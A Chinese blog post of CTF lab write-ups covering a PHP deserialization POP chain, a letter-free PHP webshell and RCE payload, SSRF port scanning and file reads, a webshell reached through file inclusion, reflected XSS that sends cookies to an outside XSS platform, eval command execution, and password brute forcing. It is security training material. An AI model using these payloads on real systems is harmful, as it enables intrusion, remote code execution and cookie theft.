NSWSTAR-week2-UnserializeOne

写这个反序列化题目,学到了几点

1
2
1,__clone()魔法函数的触发方法以及一些细节
2,反序列化中属性的私有以及保护的处理方法

直接看题目,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
<?php
error_reporting(0);
highlight_file(__FILE__);
#Something useful for you : https://zhuanlan.zhihu.com/p/377676274
class Start{
public $name;
protected $func;

public function __destruct()
{
echo "Welcome to NewStarCTF, ".$this->name;
}

public function __isset($var)
{
($this->func)();
}
}

class Sec{
private $obj;
private $var;

public function __toString()
{
$this->obj->check($this->var);
return "CTFers";
}

public function __invoke()
{
echo file_get_contents('/flag');
}
}

class Easy{
public $cla;

public function __call($fun, $var)
{
$this->cla = clone $var[0];
}
}

class eeee{
public $obj;

public function __clone()
{
if(isset($this->obj->cmd)){
echo "success";
}
}
}

if(isset($_POST['pop'])){
unserialize($_POST['pop']);
}

分析一波,确定了基本pop链,

1
Start:__destruct==>Sec::__toString==>Easy::__call==>eeee::__clone==>Start::__isset==>Sec::__invoke

更详细的pop链,

1
$Start::__destruct()@$this->name=$sec   ->   $Sec::__toString()@$this->obj=$easy   ->   $Easy::__call()@$this->cla=$copy_eee&$var[0]=$eee   ->   $eee::__clone()@($this->obj)=($start)   ->   $Start::__isset()@$this->func=$sec   ->   sec::__invoke()

接下来编写poc,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php
class Start{
public $name;
protected $func;
}

class Sec{
private $obj;
private $var;
}

class Easy{
public $cla;
}

class eeee{
public $obj;
}

$start=new Start();
$sec=new Sec();
$easy=new Easy();
$ee=new eeee();

$start->func=$sec;
$ee->obj=$start;
$easy->cla=$copy_ee;
$sec->var[0]=$ee;
$sec->obj=$easy;
$start->name=$sec;

var_dump(urlencode(serialize($start)));

运行,发现php报错,

然后搞了好久也没找到解决方法,又检查了好几遍pop链,感觉pop链没错,一时间不知道怎么做了。

直到writeup出来😶😶……

最后看了一下writeup,发现构造的pop链是正确的,只是构造过程中几个细节没有处理好,导致php出错。

重新编写的poc,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php
class Start{
public $name;
public $func;//protected变为public,具体为什么这样修改,现在还不太清楚
}

class Sec{
public $obj;// private变为public
public $var;// private变为public
}

class Easy{
public $cla;
}

class eeee{
public $obj;
}

$start=new Start();
$sec=new Sec();
$easy=new Easy();
$ee=new eeee();

$start->func=$sec;
$ee->obj=$start;
//$easy->cla=$copy_ee;
//$sec->var[0]=$ee;修改为var,去掉数组[]。为什么这样修改,我暂时还不太清楚,以后了解了,会回来更新的
$sec->var=$ee;
$sec->obj=$easy;
$start->name=$sec;

var_dump(urlencode(serialize($start)));

其中,为什么$easy->cla=$copy_ee;删除掉,我的理解是要想让eeee类中__clone()函数触发,只需要eeee类被克隆就OK了,就是让Easy类中的$var=$eeee类,而不用再定义Easy中的cla属性。

最后,编写的exp可以运行,传入后得到flag

NSSCTF-HNCTF-[Week1]Challenge__rce

废话不多说,直接分析题目。

进入题目,发现一个提示,

既然灵感是来自ctfshou吃瓜杯,那么吃瓜杯的解题思路也应该适用本题,先进入靶机看下题目,发现一片空白,

自然先按F12看源码里有没有提示信息,发现?hint,

试着用GET传一个hint=1参数,提交后出现源码,是一个RCE,

分析下就是用POST传一个rce参数,但是长度不能超过120,而且又过滤了全部字母,以及大多数符号,看下最后能用的字符只有

0-9,$、_、[]、{}这些字符。只用无字符咋能RCE啊?没什么思路,看下题目那里的提示,CTFshow吃瓜杯,百度搜下writeup,

发现了一篇p神写的无数字字符的webshell的博客,https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html

总结下文章主要内容,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
1, 如何编写一个不使用数字和字母的webshell?

首先,明确思路。我的核心思路是,将非字母、数字的字符经过各种变换,最后能构造出a-z中任意一个字符。然后再利用PHP允许动态函数执行的
特点,拼接处一个函数名,如“assert”,然后动态执行之即可。
有三个方法,异或,取反,自增,本题使用的是第三个方法,前两个方法为什么用不了,文章里有说明。

2, 方法三的主要原理是,

在处理字符变量的算数运算时,PHP 沿袭了 Perl 的习惯,而非 C 的。例如,在 Perl 中 $a = 'Z'; $a++; 将把 $a 变成'AA',而在 C
中,a = 'Z'; a++; 将把 a 变成 '[''Z' 的 ASCII 值是 90'[' 的 ASCII 值是 91)。注意字符变量只能递
增,不能递减,并且只支持纯字母(a-z 和 A-Z)。递增/递减其他字符变量则无效,原字符串没有变化。
也就是说,'a'++ => 'b''b'++ => 'c'... 所以,我们只要能拿到一个变量,其值为a,通过自增操作即可获得a-z中所有字符。
那么,如何拿到一个值为字符串'a'的变量呢?
巧了,数组(Array)的第一个字母就是大写A,而且第4个字母是小写a。也就是说,我们可以同时拿到小写和大写A,等于我们就可以拿到a-z和A-
Z的所有字母。在PHP中,如果强制连接数组和字符串的话,数组将被转换成字符串,其值为Array:
再取这个字符串的第一个字母,就可以获得'A'了。然后利用递增,可以获取A-Z所有字符

3, 利用这个技巧,我编写了如下命令为ASSERT($_POST[]);的webshell(因为PHP函数是大小写不敏感的,所以我们最终执行的是,无需获取小写a)

<?php
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;

$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;

$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);

这个思路对本题来说是正确的,但写本题的webshell还需一些更改,比如博客里获取Array是通过@.”[]”得到的,但是本题的@是被过滤了,$没有被过滤,所以使用以下代码获取字符A

1
2
3
4
5
6
7
8
$_=$;$_=$_.[];//此时的$_为Array
$__=$_[0]//$__为A

由于参数rce有长度限制,所以要尽可能的简化代码,

上面的代码可以简化为
$_.=[];//不用定义$_=$,直接只用.拼接[],此时$_为Array
$_=$_[0];//$_为A

这里还需要了解PHP 前自增加和后自增加的区别,百度结果如下,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
前自增加:

$b = 1;
$a = ++$b; //此语句等同于: $b=$b+1; $a=$b;
echo '$a='.$a;
echo '<br>';
echo '$b='.$b;
解释:前递增++$b,把$b的值增加了1后再返回给$b和$a
结果:
$a=2
$b=2

后自增加:
$b = 1;
$a = $b++; // 此语句等同于: $a=$b; $b=$b+1;
echo '$a='.$a;
echo '<br>';
echo '$b='.$b;
结果:
$a=1
$b=2

第一次写的payload为

1
2
3
4
5
6
7
8
9
10
11
12
13
$_.=[];//$_为Array
$__=$_[1];//$__为r
$_=$_[3];//$_为a
$_++;
$_++;
$_0=$_++;//$_0为c,$_为d
$_++;
$_++;
$_++;//$_为g
$_1=++$_;//$_、$_1为h
$_3=$_0.$_1.$__[1];//$_3为chr
$_4=_.$_3(71).$_3(69).$_3(84);//利用php的chr函数得到_GET字符
($$_4[1])($$_4[2]);//拼接得到($_GET[1])($_GET[2])

但是URL编码后提交,会显示too long!

那么还需要简化下payload。

观察下,发现可以利用把

$_1=++$_;//$_、$_1为h $_3=$_0.$_1.$__[1];//$_3为chr

合并起来,并且开始的 $__=$_[1];//$__为r 可以删除,然后与上面的合并。

总的来说就是利用后自增加 然后将$_变为h时,然后直接拼接成chr字符。

合并后代码,

1
2
3
4
5
6
7
8
9
10
11
$__.=[];//$__不用定义为$,最后为$__为Array,
$_=$__[3];//$_为a
$_++;
$_++;
$_0=$_++;//$_开始为c,然后先赋值给$_0,然后再自增为d
$_++;
$_++;
$_++;//这时的$_为g
$_0.=++$_.$__[1];//$_开始为g,然后自增为h,$__[]为开始的Array,没有变,那么$__[1]为r。$_0为c,拼接后$_0为chr
$_4=_.$_0(71).$_0(69).$_0(84);//$_4为_GET
($$_4[1])($$_4[2]);//($_GET[1])($_GET[2])

用GET提交?hint=1&1=system&2=ls,payload通过POST然后经URL编码,提交发现ls命令执行成功

接下来依次执行ls /

最后直接cat /ffflllaaaggg,找到flag

CTFHUB-SSRF-端口扫描

题目有个提示,

那就批量访问8000-9000端口呗,进入靶机,啥都没有,只有URL里有个待写参数,

那就抓包图示包然后批量访问本机端口,

给端口加上变量,然后设置范围为8000-9000,

最后按长度排序,发现8791端口长度与其他的不同,打开发现flag,

CTFHUB-SSRF-伪协议读取文件

前置知识:

1
php伪协议:https://blog.csdn.net/cosmoslin/article/details/120695429

打开题目页面,有个提示,

网站服务器系统一般都是linux,那么linux网页web默认目录在哪呢?直接百度下,

那么只需要读取该目录下的flag.php应该就行了,伪协议有很多,但是有的不能使用,所以需要测试哪些是可用的,先测试php://filter协议,不可用。

测试file协议,发现可用。

把路径换为/var/www/html/flag.php,

发现访问成功了,但是没显示flag,猜想是不是在注释里面,看下源码,找到flag

CTFHUB-RCE-文件包含

进入靶机,发现几行代码,

有文件包含代码,有一个字符flag过滤,根据下面的shell提示,点进去,

发现是一个php一句话木马,连接密码是ctfhub,在文件shell.txt里,这时就要想到应该用蚁剑连接了,现用GET方法传file=shell.txt,

文件包含成功,打开蚁剑,添加网站URL,

连接成功后,在根目录下找到了flag,

CTFHUB-XSS-反射型

进入靶机,发现页面

先在第一个框框里输入<script>alert("ssss")</script>测试该页面是否有xss漏洞,点击“send”按钮发现弹出页面

证明有xss漏洞,然后打开一个在线xss平台网站,我们知道xss漏洞一般用来获取cookie值,所以我们试着输入<script>alert(document.cookie)</script>获取cookie,发现并没有什么信息。

想了一会才想明白,<script>alert(document.cookie)</script>只能获取自己的cookie,我们在控制台也可以获取自己的cookie,flag肯定不会藏在自己的cookie里面。所以试着用xss平台https://xss.yt/获取cookie,

登录到平台,创建一个新项目,配置为默认,如下

然后进入进入项目,查看xss代码,

复制代码,然后把网站URL粘贴进第二个框框里,并且name值为复制的xss代码,提交,然后去xss平台上查看,发现flag在cookie里

CTFHUB-RCE-eval执行

前置知识:

1
$_REQUEST["参数"]具用$_POST["参数"] $_GET["参数"]的功能,但是$_REQUEST["参数"]比较慢。通过post和get方法提交的所有数据都可以通过$_REQUEST数组["参数"]获得

进入靶机,发现几行php代码,

一开始也不知道$_REQUEST是什么一回事,不会就百度啊,然后就是前置知识里讲的那样,可以使用GET方式提交参数,也可以使用POST提交,这里我是用GET方式提交的

直接提交参数 ?cmd=system(“find / -name flag*”); 查找根目录下有含flag字符的文件,如图所示

接下来就是一个一个尝试,最终发现flag在最后一个文件里,然后使用命令 cat 文件 | base64 查看文件内容,发现

解码得flag

CTFHUB-密码口令-默认口令

前置知识:

1
2
默认口令:
百度上没有找到合适的解释,我自己的理解就是一些网络产品,比如路由器,防火墙软件,某某管理系统等等,这些产品是需要使用账号密码进行登录使用,默认口令就是这些产品的默认账户密码,是用户未更改的。这些默认账号密码是可以通过搜索引擎找到的。

进入靶机,发现是一个亿邮邮件网关的登录页面,

直接去百度找该产品的默认账户密码

一个一个试,最终确认账户密码为eyougw,admin@(eyou),登录得到flag

CTFHUB-密码口令-弱口令

前置知识:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
Burpsuit的几种爆破模式:
一:sniper【狙击手】

这种攻击基于原始的请求内容,需要一个字典,每次用字典里的一个值去代替一个待攻击的原始值。

攻击次数=参数个数X字典内元素个数

例如:原始请求中

name=aa , password=bb,

字典:

{ 1 ,2 };

那么会产生四个请求:

name=1 , password=bb

name=2 , password=bb

name=aa , password=1

name=aa , password=2

这种模式主要适用于:竞争条件测试(选择Null payloads),密码、验证码暴力破解,重放攻击等场景。

二、battering ram 【撞击物】

也需要一个字典,这会使字典里每个值同时赋给所有参数。上例的结果为:

name=1 , password=1

name=2, password=2

攻击次数=字典内元素个数

这种模式主要适用于:撞裤。

三、pitchfork【相交叉】

需要的字典个数=参数个数。

每个请求是由每个参数轮流取各自负载集合里的值得到。

如果每个字典里元素数量不一致,那么请求个数以最小的那个为准。

例:

原始请求中

name=aa , password=bb,payload1={ 1 , 2 }, payload2={ 3 , 4 , 5 }

会产生两个请求:

name=1 , password=3

name=2 , password=4

攻击次数=字典内元素个数最小值

这种模式主要适用于:恶意注册。

四、cluster bomb 【炸弹丛】(最常用)

需要的字典个数=参数个数。

最后产生的所有请求是各参数取值的所有组合,攻击次数是字典内元素个数的集合。

例:

原始请求中

name=aa , password=bb,payload1={ 1 , 2 }, payload2={ 3 , 4 , 5 }

会产生 请求:

name=1 , password=3

name=1 , password=4

name=1 , password=5

name=2 , password=3

name=2 , password=4

name=2 , password=5

这种模式主要适用于:账号、密码暴力破解。

进入靶机,发现一个用户密码登录页面,

直接使用burpsuit抓包,

添加admin 和 123456为变量,然后选择bp的Cluster bomb(集束炸弹模式),用户名手动添加几个常见的admin,test,uesr,以及ctfhub,密码直接选择密码爆破字典里的top3000,然后开始爆破。完成后按长度排序,发现用户为admin,密码为password时的长度与其他的不同

然后查看该页面,发现flag